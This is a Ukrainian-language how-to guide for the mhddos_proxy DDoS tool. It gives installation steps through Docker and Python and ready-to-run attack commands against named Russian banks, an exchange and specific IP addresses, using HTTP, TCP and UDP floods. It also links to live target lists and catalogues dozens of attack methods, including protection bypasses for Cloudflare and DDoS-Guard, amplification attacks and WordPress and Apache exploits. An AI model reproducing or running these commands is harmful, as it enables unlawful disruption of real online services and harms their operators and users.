mhddos_proxy – cкрипт-обгортка для запуску потужного DDoS інструмента MHDDoS.
Не потребує VPN - скачує і підбирає робочі проксі для атаки (! для UDP! ПОТРІБНО вмикати VPN та вказувати "--vpn" в команді! )
Атака декількох цілей та атака по списку
Використовує різноманітні методи для атаки. ⇩ (трішки історії)
https://github.com/porthole-ascend-cinnamon/mhddos_proxy (повністю відкритий код)
mhddos_proxy - з'явився досить недавно (07.03.22), як надбудова над ефективним методом атаки MHDDoS (який з'явився ще 13.10.20 на Гітхабі, та може ще раніше деінде):
https://github.com/MatrixTM/MHDDoS (повністю відкритий код)
Усю основну інформацію по ним ви можете знайти у README перейшовши по посиланнях вище, далі розповімо про
Переваги та недоліки:
Якщо в цілому порівнювати ці інструменти з іншими, то усі дуже сильно відстають (навіть великі розробники автоматичних програм), тому що у mhddos_proxy є список постійно оновлюваних проксі-серверів, та більш як 50 різних методів DDoS-атаки, включно з обходами різних DDoS-захистів.
Далі більше детально порівняємо саме MHDDoS та mhddos_proxy:
- Якщо брати команду для звичайного MHDDoS, то вона виглядає ось так:
python3 start.py GET https://spbexchange.ru/ 5 1000 socks5.txt 1000 3600 true
Думаю ви будете згодні, що у цій команді не зрозуміло який параметр за що відповідає (можна розписати, але краще розпишем для mhddos_proxy)
- У звичайному MHDDoS, щоб бити через проксі з файлу socks5.txt їх треба ще для початку спарсити.
- У звичайному MHDDoS для кожної цілі атаку потрібно запускати окремо, тобто якщо 10 цілей - то 10 різних команд
- Так як сам MHDDoS створювався давно, то методи обходу DDoS-захисту загалом не дуже оновлювалися (а DDoS-захисти навпаки ставали розумнішими), а коли їх почали міняти, то з'явилися нові проблеми, тому розробник mhddos_proxy перетягнув собі оригінальний репозитарій (25.03.22), та почав робити з нього більш адекватний скрипт, тому ви наразі можете бачити повідомлення по типу "Робота методу DGB не гарантована", бо він знайшов деякі спірні моменти у коді, які і я раніше підмічав
+ вагомий плюс це те, що розробник mhddos_proxy - українець, з ним є контакт (на відміну від MHDDoS, де команда з Ірану)
+ у mhddos_proxy є постійно оновлюваний список проксі, який постійно парситься у приватному репозитарії, щоб залишити лише ті, які реально існують
+ далі кожен раз перевіряється працездатність кожного з них
+ величезна перевага mhddos_proxy, що в одній команді можна вказати безліч цілей та методів, які потім автоматично переконвертуються у окрему команду для MHDDoS
+ також тепер більш зрозуміло які параметри за що відповідають
MHDDoS_proxy, Docker ⇩
(якщо ще не встановлений) Завантажте та встановіть Docker https://desktop.docker.com/win/main/amd64/Docker Desktop Installer.exe (обов'язково встановіть галочку "Install WSL 2" та по завершенню установки для активації Docker пропишіть у cmd (Командная строка) команду docker run -d -p 80:80 docker/getting-started (вона відображається при першому запуску), потім поверніться в докер - оберіть запущений контейнер та натисніть "Стоп" (квадратик). Все докер налаштований. Надалі команди для Docker прописуємо у PowerShell або CMD)
(додано: спосіб без карток та номерів телефонів DDoS-атака з Cloud Shell, працює і Docker і Python3)
Атака на Layer 7
Атаку на цьому рівні можна провести успішно, якщо ви знаєте, який засіб "захисту" використовується і для даного засобу є метод атаки в самому MHDDoS (Наприклад, cfb для Cloudflare, dgb для DDoS-Guard, і т.д.) команда:
docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy <Ціль> --http-methods <Метод> -t <кількість потоків> --rpc <Підключення> --table
Атака на Layer 4 (Транспортний рівень, p2p)
Атака на цьому рівні може бути успішною, якщо у вас на руках є адреси серверів цілей, що атакуються, які знаходяться за "захистом". У такому разі ви атакуєте сервер безпосередньо за ip-адресою. По синтаксису тут все так само, як і на Layer 7 ціль потрібно вказувати в іншому форматі:
Для атаки TCP Flood (VPN не вимагається):
Вказуємо цілі у форматі tcp://IP:port, приклад команди:
docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy tcp://87.226.162.181:80 -t 1000 --rpc 1000 --debug
Для атаки UDP Flood (! ПОТРІБНО увімкнути VPN та прописати "--vpn" ! ):
Вказуємо цілі у форматі udp://IP:port, та додаємо флажок --vpn , приклад команди:
docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy udp://87.226.162.181:80 -t 1000 --vpn --debug
ще приклади команд для докера:
docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://www.tinkoff.ru/ https://alfabank.ru/ http://92.223.84.84/ --http-methods dgb -t 1000 --rpc 1000 --table
docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy tcp://178.248.236.218:80 tcp://178.248.236.218:443 tcp://92.223.84.84:80 tcp://92.223.84.84:443 tcp://92.223.84.84:444 tcp://92.223.84.84:7263 -t 1000 --rpc 1000 --table
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest -c https://raw.githubusercontent.com/OleksandrBlack/ddoswarlist/main/layer4.lst -t 2000 --rpc 1000 --debug
якщо ще не встановлені - завантажте та встановіть Python3 та Git:
https://www.python.org/ftp/python/3.10.2/python-3.10.2-amd64.exe (обов'язково встановіть галочку "Add Python 3.10 to PATH")
(або Win10/11 заходите в cmd (Командная строка), прописуєте: python3 (вас перекине у Microsoft Store, там отримуєте Python))
https://github.com/git-for-windows/git/releases/download/v2.35.1.windows.2/Git-2.35.1.2-64-bit.exe (натискаємо далі-далі-далі)
Створюємо порожню папку на робочому столі, наприклад - "Stoprussia" переходимо до неї і запускаємо в ній Git Bash (контекстне меню > Git Bash Here) і прописуєте по черзі 3 команди (Enter після кожної):
git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
cd mhddos_proxy
python -m pip install -r requirements.txt
Надалі, для початку атаки запускаємо PowerShell з папки mhddos_proxy , команди для атаки аналогічно докеру але замість "docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy" пишемо на початку "python runner.py"
python runner.py <Ціль> --http-methods <Метод> -t <кількість потоків> --rpc <Підключення> --debug
Наприклад:
python runner.py https://alfabank.ru https://92.223.84.84/ https://91.194.226.50/ --http-methods SLOW -t 1000 --rpc 1000 --table
python runner.py tcp://178.248.233.60:80 tcp://178.248.233.60:443 tcp://178.248.233.60:53 -t 1000 --rpc 1000 --debug
python runner.py udp://178.248.233.60:80 udp://178.248.233.60:443 udp://178.248.233.60:53 -t 1000 --rpc 500 --vpn --debug
або навіть python runner.py 178.248.233.60:80 178.248.233.60:443 178.248.233.60:53
(метод обиреться автоматично)
PS:
можна писати команду python runner.py ЦІЛЬ
замість ЦІЛЬ - або адреса у форматі https://www.tutu.ru/
або IP у форматі 185.106.172.117:80
а якшо вказали метод TCP чи UDP то Ціль у форматі
tcp://185.106.172.117:53 або udp://178.248.233.60:80 відповідно
Ціль – це адреса у форматі https://something.ru/, https://178.248.233.60 або 178.248.233.60:443. Цілі можна перераховувати через пробіл. У цьому випадку кількість атак буде розділено на кожну ціль рівномірно до тієї кількості, яку ви вказали. Також цілі можна прописати в текстовому файлі та виконувати атаку по списку вказавши ціль у форматі -c шлях до файлу з цілями. (див.нижче)
Метод (--http-methods) - один з методів MHDDoS (CFB, DGB, BYPASS, GET і т.д.,). (див. нижче)
Кількість запитів (-t) - кількість запитів/пакетів на цілі.
Підключення (--rpc) – кількість запитів, що надсилаються на 1 проксі-сервер, після чого проксі-сервер транслює ці запити на ціль.
Лог (--table ) або (--debug ) – потрібний для того, щоб ми бачили процес атаки.
прапорець (--vpn ) – використовувати VPN (потрібно вказувати для UDP-атаки та вмикати VPN)
прапорець (--itarmy) - для автоматичної атаки по цілям IT Army of Ukraine.
У відкритому доступі за адресою https://github.com/Operation-Stop-russia/targets_lists публікуються текстові файли (lst) в які додаються та регулярно оновлюються цілі з офіційного пабліку IT Army of Ukraine. Цілі розділені по списках layer7 , layer4 (TCP)
Команди для виконання атаки по цілям з цих списків:
Для Docker
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest -c https://raw.githubusercontent.com/Operation-Stop-russia/targets_lists/main/L7.lst --http-methods STRESS GET -t 2000 --rpc 1000 --debug
docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest -c https://raw.githubusercontent.com/Operation-Stop-russia/targets_lists/main/L4_tcp.lst -t 2000 --rpc 1000 --debug
Для Python
python3 runner.py -c https://raw.githubusercontent.com/Operation-Stop-russia/targets_lists/main/L7.lst --http-methods STRESS GET -t 2000 --rpc 1000 --debug
python3 runner.py -c https://raw.githubusercontent.com/Operation-Stop-russia/targets_lists/main/L4_tcp.lst -t 2000 --rpc 1000 --debug
Для Windows_x64 (Python)
python3 runner.py міняємо на python runner.py
У списках буває досить багато цілей, варто коригувати параметр -t 1000 відповідно до потужності вашого ПК.
Чим більше параметр (-t) тим краще, беручи до уваги навантаження на систему та відношення показів BPS/PPS (див.нижче)
GET | DDoS запитами GET
POST | DDoS запитами POST
OVH | Атака із проходженням захисту OVH
STRESS | Надсилання http-пакетів великої ваги
DGB | Атака із проходженням захисту DDoS Guard
APACHE | Атака на вразливу версію apache веб-сервер
XMLRPC | Атака з використанням шкідливого експлойту для Wordpress-сайтів /xmlrpc.php)
CFB | Атака із проходженням захисту CloudFlare
CFBUAM | Атака із проходженням захисту CloudFlare Under Attack Mode
BYPASS | Атака із проходженням захисту звичайних AntiDDoS рішень
Layer7:
GET | GET Flood
POST | POST Flood
OVH | Bypass OVH
STRESS | Send HTTP Packet With High Byte
DYN | A New Method With Random SubDomain
DOWNLOADER | A New Method of Reading data slowly
SLOW | Slowloris Old Method of DDoS
HEAD | method requests the headers
NULL | Null UserAgent and ...
COOKIE | Random Cookie PHP 'if (isset($_COOKIE))'
PPS | Only 'GET / HTTP/1.1\r\n\r\n'
EVEN | GET Method with more header
GSB | Google Project Shield Bypass
DGB | DDoS Guard Bypass
AVB | Arvan Cloud Bypass
BOT | Like Google bot
APACHE | Apache Expliot
XMLRPC | WP XMLRPC expliot (add /xmlrpc.php)
CFB | CloudFlare Bypass
CFBUAM | CloudFlare Under Attack Mode Bypass
BYPASS | Bypass Normal AntiDDoS
BOMB | Bypass with codesenberg/bombardier
KILLER | run many threads to kill a target
Layer4:
TCP | TCP Flood Bypass
UDP | UDP Flood Bypass
SYN | SYN Flood
CPS | Open and close connections with proxy
CONNECTION | Open connection alive with proxy
VSE | Send Valve Source Engine Protocol
TS3 | Send Teamspeak 3 Status Ping Protocol
FIVEM | Send Fivem Status Ping Protocol
MEM | Memcached Amplification
NTP | NTP Amplification
MCBOT | Minecraft Bot Attack
MINECRAFT | Minecraft Status Ping Protocol
MCPE | Minecraft PE Status Ping Protocol
DNS | DNS Amplification
CHAR | Chargen Amplification
CLDAP | Cldap Amplification
ARD | Apple Remote Desktop Amplification
RDP | Remote Desktop Protocol Amplification
Tools - Run With python3 start.py tools
CFIP | Find Real IP Address Of Websites Powered By Cloudflare
DNS | Show DNS Records Of Sites
TSSRV | TeamSpeak SRV Resolver
PING | PING Servers
CHECK | Check If Websites Status
DSTAT | That Shows Bytes Received, bytes Sent and their amount
Other
STOP | STOP All Attacks
TOOLS | Console Tools
HELP | Show Usage Script
Процес атаки (шо --debug пише?) :
PPS – кількість встановлених з'єднань з метою атаки.
BPS – вага цих пакетів у байтах, кілобайтах, мегабайтах. Оптимально коли BPS видає показники >500кБ, залежно від сайту, вашого інтернет-з'єднання та потужності Вашої машини.
% - це просто хід вашої атаки, це час до оновлення проксі-серверів та перезапуску атаки у відсотках. Відсотки нічого спільного з ефективністю атаки не мають.